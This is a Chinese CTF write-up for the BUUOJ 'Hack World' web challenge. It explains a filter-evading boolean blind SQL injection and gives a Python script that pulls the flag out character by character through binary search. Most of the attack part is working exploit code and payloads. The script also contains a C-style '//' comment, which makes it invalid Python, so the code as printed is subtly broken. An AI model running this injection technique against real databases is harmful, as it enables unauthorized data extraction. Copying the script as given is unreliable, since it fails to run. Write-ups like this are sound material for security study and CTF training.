BUUOJ | [CISCN2019 华北赛区 Day2 Web1]Hack World(SQL布尔盲注)

题目地址

用浏览器连接靶机,看到以下页面

右键查看源代码,发现上传用的是 post 请求,根据提示知道 flag 位于 flag 表中的 flag 字段里

搜索框输入 1 或 2 会返回结果,其余返回 bool(false)

尝试注入 1 union select group_concat(flag) from flag.flag 返回 SQL Injection Checked.

是因为后端过滤了 union、and、or、空格等,包括 /**/

输入 1/1 时会正常返回结果,可以判断这是数字型的sql注入,考虑布尔盲注

思路比较简单,用 select 在数据库中提取 flag 各位字母,用二分法(比直接枚举快一点)逐位爆破

sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)

如果最外层括号(是否大于的判断表达式)值为 True,与 0 异或中仍为 True,反之为 False

import requests
url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
flag = ''
def check(payload):
    # print (payload)
    upload = { 'id' : payload }
    text = requests.post(url, data = upload).text
    if ('Hello') in text: # 表达式为真时会返回 id = 1 的结果
        return True
    return False
for i in range(1,50):
    l = 0; r = 255; // [0,255] 所有 ASCALL 字符区间
    while (l<=r):
        mid = (l + r) >> 1
        sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) #注意不能留空格,一开始错了
        if (check(sql)):
            l = mid + 1
        else:
            r = mid - 1
    flag += chr(l)
    print (flag)
posted @ 2020-07-21 11:12  暖暖草果  阅读(305)  评论(0编辑  收藏  举报